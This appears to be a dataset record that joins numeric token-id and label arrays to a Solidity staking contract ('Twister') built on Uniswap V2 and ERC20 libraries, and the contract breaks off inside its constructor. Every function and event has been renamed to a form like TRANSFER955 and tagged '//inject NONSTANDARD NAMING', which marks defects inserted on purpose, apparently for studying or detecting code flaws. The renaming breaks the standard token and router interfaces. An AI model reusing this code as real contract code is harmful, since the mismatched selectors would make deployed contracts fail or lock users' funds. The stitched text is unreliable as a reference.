0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5381,
290,
273,
11329,
50,
15639,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
interface IERC20 {
function TOTALSUPPLY622() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF753(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER955(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE76(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE213(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM690(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER649(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL691(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER876(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN191(token, abi.encodeWithSelector(token.TRANSFER955.selector, to, value));
}
function SAFETRANSFERFROM621(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN191(token, abi.encodeWithSelector(token.TRANSFERFROM690.selector, from, to, value));
}
function SAFEAPPROVE2(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE76(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_CALLOPTIONALRETURN191(token, abi.encodeWithSelector(token.APPROVE213.selector, spender, value));
}
function SAFEINCREASEALLOWANCE52(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE76(address(this), spender).ADD393(value);
_CALLOPTIONALRETURN191(token, abi.encodeWithSelector(token.APPROVE213.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE172(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE76(address(this), spender).SUB829(value, "SafeERC20: decreased allowance below zero");
_CALLOPTIONALRETURN191(token, abi.encodeWithSelector(token.APPROVE213.selector, spender, newAllowance));
}
function _CALLOPTIONALRETURN191(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).FUNCTIONCALL585(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IWETH {
function DEPOSIT379() external payable; //inject NONSTANDARD NAMING
function TRANSFER955(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function WITHDRAW91(uint) external; //inject NONSTANDARD NAMING
}
interface IUniswapV2Router01 {
function FACTORY423() external pure returns (address); //inject NONSTANDARD NAMING
function WETH656() external pure returns (address); //inject NONSTANDARD NAMING
function ADDLIQUIDITY566( //inject NONSTANDARD NAMING
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function ADDLIQUIDITYETH439( //inject NONSTANDARD NAMING
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function REMOVELIQUIDITY294( //inject NONSTANDARD NAMING
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function REMOVELIQUIDITYETH142( //inject NONSTANDARD NAMING
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function REMOVELIQUIDITYWITHPERMIT785( //inject NONSTANDARD NAMING
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function REMOVELIQUIDITYETHWITHPERMIT822( //inject NONSTANDARD NAMING
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function SWAPEXACTTOKENSFORTOKENS694( //inject NONSTANDARD NAMING
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function SWAPTOKENSFOREXACTTOKENS112( //inject NONSTANDARD NAMING
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function SWAPEXACTETHFORTOKENS23(uint amountOutMin, address[] calldata path, address to, uint deadline) //inject NONSTANDARD NAMING
external
payable
returns (uint[] memory amounts);
function SWAPTOKENSFOREXACTETH134(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) //inject NONSTANDARD NAMING
external
returns (uint[] memory amounts);
function SWAPEXACTTOKENSFORETH465(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) //inject NONSTANDARD NAMING
external
returns (uint[] memory amounts);
function SWAPETHFOREXACTTOKENS477(uint amountOut, address[] calldata path, address to, uint deadline) //inject NONSTANDARD NAMING
external
payable
returns (uint[] memory amounts);
function QUOTE151(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); //inject NONSTANDARD NAMING
function GETAMOUNTOUT667(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); //inject NONSTANDARD NAMING
function GETAMOUNTIN118(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); //inject NONSTANDARD NAMING
function GETAMOUNTSOUT962(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); //inject NONSTANDARD NAMING
function GETAMOUNTSIN769(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); //inject NONSTANDARD NAMING
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function REMOVELIQUIDITYETHSUPPORTINGFEEONTRANSFERTOKENS84( //inject NONSTANDARD NAMING
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function REMOVELIQUIDITYETHWITHPERMITSUPPORTINGFEEONTRANSFERTOKENS171( //inject NONSTANDARD NAMING
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function SWAPEXACTTOKENSFORTOKENSSUPPORTINGFEEONTRANSFERTOKENS513( //inject NONSTANDARD NAMING
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function SWAPEXACTETHFORTOKENSSUPPORTINGFEEONTRANSFERTOKENS617( //inject NONSTANDARD NAMING
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function SWAPEXACTTOKENSFORETHSUPPORTINGFEEONTRANSFERTOKENS347( //inject NONSTANDARD NAMING
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event APPROVAL691(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING
event TRANSFER649(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING
function NAME590() external pure returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL603() external pure returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS715() external pure returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY622() external view returns (uint); //inject NONSTANDARD NAMING
function BALANCEOF753(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function ALLOWANCE76(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE213(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER955(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM690(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function DOMAIN_SEPARATOR647() external view returns (bytes32); //inject NONSTANDARD NAMING
function PERMIT_TYPEHASH618() external pure returns (bytes32); //inject NONSTANDARD NAMING
function NONCES61(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function PERMIT398(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING
event MINT816(address indexed sender, uint amount0, uint amount1); //inject NONSTANDARD NAMING
event BURN577(address indexed sender, uint amount0, uint amount1, address indexed to); //inject NONSTANDARD NAMING
event SWAP591( //inject NONSTANDARD NAMING
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event SYNC313(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING
function MINIMUM_LIQUIDITY897() external pure returns (uint); //inject NONSTANDARD NAMING
function FACTORY423() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN0588() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN1553() external view returns (address); //inject NONSTANDARD NAMING
function GETRESERVES947() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); //inject NONSTANDARD NAMING
function PRICE0CUMULATIVELAST382() external view returns (uint); //inject NONSTANDARD NAMING
function PRICE1CUMULATIVELAST280() external view returns (uint); //inject NONSTANDARD NAMING
function KLAST968() external view returns (uint); //inject NONSTANDARD NAMING
function MINT750(address to) external returns (uint liquidity); //inject NONSTANDARD NAMING
function BURN945(address to) external returns (uint amount0, uint amount1); //inject NONSTANDARD NAMING
function SWAP412(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; //inject NONSTANDARD NAMING
function SKIM546(address to) external; //inject NONSTANDARD NAMING
function SYNC14() external; //inject NONSTANDARD NAMING
function INITIALIZE840(address, address) external; //inject NONSTANDARD NAMING
}
interface IUniswapV2Factory {
event PAIRCREATED444(address indexed token0, address indexed token1, address pair, uint); //inject NONSTANDARD NAMING
function FEETO98() external view returns (address); //inject NONSTANDARD NAMING
function FEETOSETTER656() external view returns (address); //inject NONSTANDARD NAMING
function MIGRATOR786() external view returns (address); //inject NONSTANDARD NAMING
function GETPAIR761(address tokenA, address tokenB) external view returns (address pair); //inject NONSTANDARD NAMING
function ALLPAIRS341(uint) external view returns (address pair); //inject NONSTANDARD NAMING
function ALLPAIRSLENGTH448() external view returns (uint); //inject NONSTANDARD NAMING
function CREATEPAIR119(address tokenA, address tokenB) external returns (address pair); //inject NONSTANDARD NAMING
function SETFEETO526(address) external; //inject NONSTANDARD NAMING
function SETFEETOSETTER51(address) external; //inject NONSTANDARD NAMING
function SETMIGRATOR114(address) external; //inject NONSTANDARD NAMING
}
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _not_entered266 = 1; //inject NONSTANDARD NAMING
uint256 private constant _entered280 = 2; //inject NONSTANDARD NAMING
uint256 private _status;
constructor () internal {
_status = _not_entered266;
}
modifier NONREENTRANT384() { //inject NONSTANDARD NAMING
// On the first call to nonReentrant, _notEntered will be true
require(_status != _entered280, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _entered280;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _not_entered266;
}
}
library Math {
function MAX80(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return a >= b ? a : b;
}
function MIN629(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return a < b ? a : b;
}
function AVERAGE241(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library Address {
function ISCONTRACT204(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function SENDVALUE55(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL585(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL585(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL585(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE394(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE130(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE130(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE130(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE394(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE394(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT204(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function ADD393(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB829(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB829(a, b, "SafeMath: subtraction overflow");
}
function SUB829(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL131(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV283(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV283(a, b, "SafeMath: division by zero");
}
function DIV283(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD208(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD208(a, b, "SafeMath: modulo by zero");
}
function MOD208(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library MathUtils {
using SafeMath for uint256;
function SQRT196(uint256 x) internal pure returns (uint256 y) { //inject NONSTANDARD NAMING
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function ROUNDEDDIV172(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, 'div by 0');
uint256 halfB = (b.MOD208(2) == 0) ? (b.DIV283(2)) : (b.DIV283(2).ADD393(1));
return (a.MOD208(b) >= halfB) ? (a.DIV283(b).ADD393(1)) : (a.DIV283(b));
}
}
interface IUniswapV2ERC20 {
event APPROVAL691(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING
event TRANSFER649(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING
function NAME590() external pure returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL603() external pure returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS715() external pure returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY622() external view returns (uint); //inject NONSTANDARD NAMING
function BALANCEOF753(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function ALLOWANCE76(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE213(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER955(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM690(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function DOMAIN_SEPARATOR647() external view returns (bytes32); //inject NONSTANDARD NAMING
function PERMIT_TYPEHASH618() external pure returns (bytes32); //inject NONSTANDARD NAMING
function NONCES61(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function PERMIT398(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING
}
interface IUniswapV2Callee {
function UNISWAPV2CALL695(address sender, uint amount0, uint amount1, bytes calldata data) external; //inject NONSTANDARD NAMING
}
interface IERC20Uniswap {
event APPROVAL691(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING
event TRANSFER649(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING
function NAME590() external view returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL603() external view returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS715() external view returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY622() external view returns (uint); //inject NONSTANDARD NAMING
function BALANCEOF753(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function ALLOWANCE76(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE213(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER955(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM690(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
}
abstract contract Context {
function _MSGSENDER27() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA543() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function NAME590() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL603() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS715() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
function TOTALSUPPLY622() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF753(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER955(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER21(_MSGSENDER27(), recipient, amount);
return true;
}
function ALLOWANCE76(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE213(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE77(_MSGSENDER27(), spender, amount);
return true;
}
function TRANSFERFROM690(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER21(sender, recipient, amount);
_APPROVE77(sender, _MSGSENDER27(), _allowances[sender][_MSGSENDER27()].SUB829(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE203(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE77(_MSGSENDER27(), spender, _allowances[_MSGSENDER27()][spender].ADD393(addedValue));
return true;
}
function DECREASEALLOWANCE568(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE77(_MSGSENDER27(), spender, _allowances[_MSGSENDER27()][spender].SUB829(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER21(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_BEFORETOKENTRANSFER156(sender, recipient, amount);
_balances[sender] = _balances[sender].SUB829(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD393(amount);
emit TRANSFER649(sender, recipient, amount);
}
function _MINT693(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER156(address(0), account, amount);
_totalSupply = _totalSupply.ADD393(amount);
_balances[account] = _balances[account].ADD393(amount);
emit TRANSFER649(address(0), account, amount);
}
function _BURN313(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_BEFORETOKENTRANSFER156(account, address(0), amount);
_balances[account] = _balances[account].SUB829(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB829(amount);
emit TRANSFER649(account, address(0), amount);
}
function _APPROVE77(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL691(owner, spender, amount);
}
function _SETUPDECIMALS749(uint8 decimals_) internal { //inject NONSTANDARD NAMING
_decimals = decimals_;
}
function _BEFORETOKENTRANSFER156(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING
}
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event APPROVAL691(address indexed src, address indexed guy, uint wad); //inject NONSTANDARD NAMING
event TRANSFER649(address indexed src, address indexed dst, uint wad); //inject NONSTANDARD NAMING
event DEPOSIT981(address indexed dst, uint wad); //inject NONSTANDARD NAMING
event WITHDRAWAL378(address indexed src, uint wad); //inject NONSTANDARD NAMING
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
receive() external payable {
DEPOSIT379();
}
function DEPOSIT379() public payable { //inject NONSTANDARD NAMING
balanceOf[msg.sender] += msg.value;
DEPOSIT981(msg.sender, msg.value);
}
function WITHDRAW91(uint wad) public { //inject NONSTANDARD NAMING
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
WITHDRAWAL378(msg.sender, wad);
}
function TOTALSUPPLY622() public view returns (uint) { //inject NONSTANDARD NAMING
return address(this).balance;
}
function APPROVE213(address guy, uint wad) public returns (bool) { //inject NONSTANDARD NAMING
allowance[msg.sender][guy] = wad;
APPROVAL691(msg.sender, guy, wad);
return true;
}
function TRANSFER955(address dst, uint wad) public returns (bool) { //inject NONSTANDARD NAMING
return TRANSFERFROM690(msg.sender, dst, wad);
}
function TRANSFERFROM690(address src, address dst, uint wad) //inject NONSTANDARD NAMING
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(- 1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
TRANSFER649(src, dst, wad);
return true;
}
}
contract twis is ERC20 {
address minter;
modifier ONLYMINTER285 { //inject NONSTANDARD NAMING
require(msg.sender == minter, 'Only minter can call this function.');
_;
}
constructor(address _minter) public ERC20('Twister', 'TWIS') {
minter = _minter;
}
function MINT750(address account, uint256 amount) external ONLYMINTER285 { //inject NONSTANDARD NAMING
_MINT693(account, amount);
}
function BURN945(address account, uint256 amount) external ONLYMINTER285 { //inject NONSTANDARD NAMING
_BURN313(account, amount);
}
}
contract Twister is ReentrancyGuard {
using SafeMath for uint256;
using Address for address;
using SafeERC20 for IERC20;
event STAKED534(address indexed from, uint256 amountETH, uint256 amountLP); //inject NONSTANDARD NAMING
event WITHDRAWN851(address indexed to, uint256 amountETH, uint256 amountLP); //inject NONSTANDARD NAMING
event CLAIMED515(address indexed to, uint256 amount); //inject NONSTANDARD NAMING
event HALVING833(uint256 amount); //inject NONSTANDARD NAMING
event RECEIVED501(address indexed from, uint256 amount); //inject NONSTANDARD NAMING
twis public token;
IUniswapV2Factory public factory;
IUniswapV2Router02 public router;
address public weth;
address payable public treasury;
address public pairAddress;
struct AccountInfo {
// Staked LP token balance
uint256 balance;
uint256 peakBalance;
uint256 withdrawTimestamp;
uint256 reward;
uint256 rewardPerTokenPaid;
}
mapping(address => AccountInfo) public accountInfos;
// Staked LP token total supply
uint256 private _totalSupply = 0;
uint256 public constant halving_duration255 = 7 days; //inject NONSTANDARD NAMING
uint256 public rewardAllocation = 1500 * 1e18;
uint256 public halvingTimestamp = 0;
uint256 public lastUpdateTimestamp = 0;
uint256 public rewardRate = 0;
uint256 public rewardPerTokenStored = 0;
// Farming will be open on this timestamp
// Date and time (GMT): Monday, October 26, 2020 3:00:00 PM
uint256 public farmingStartTimestamp = 1604635200;
bool public farmingStarted = false;
// Max 10% / day LP withdraw
uint256 public constant withdraw_limit638 = 10; //inject NONSTANDARD NAMING
// Burn address
address constant burn_address389 = 0x000000000000000000000000000000000000dEaD; //inject NONSTANDARD NAMING
// Dev decided to launch without whitelist but since it has been coded and tested, so dev will leave it here.
// Whitelisted address
mapping (address => bool) public whitelists;
// Whitelist deposited balance
mapping (address => uint256) public whitelistBalance;
// End period for whitelist advantage
uint256 public whitelistEndTimestamp = 0;
// Max stake for whitelist
uint256 public constant whitelist_stake_limit67 = 3 ether; //inject NONSTANDARD NAMING
// Whitelist advantage duration (reduced to 1 minutes since we dont have whitelist)
uint256 public constant whitelist_duration869 = 1 minutes; //inject NONSTANDARD NAMING
constructor(address _routerAddress, address[] memory _whitelists) public {
token = new twis(address(this));
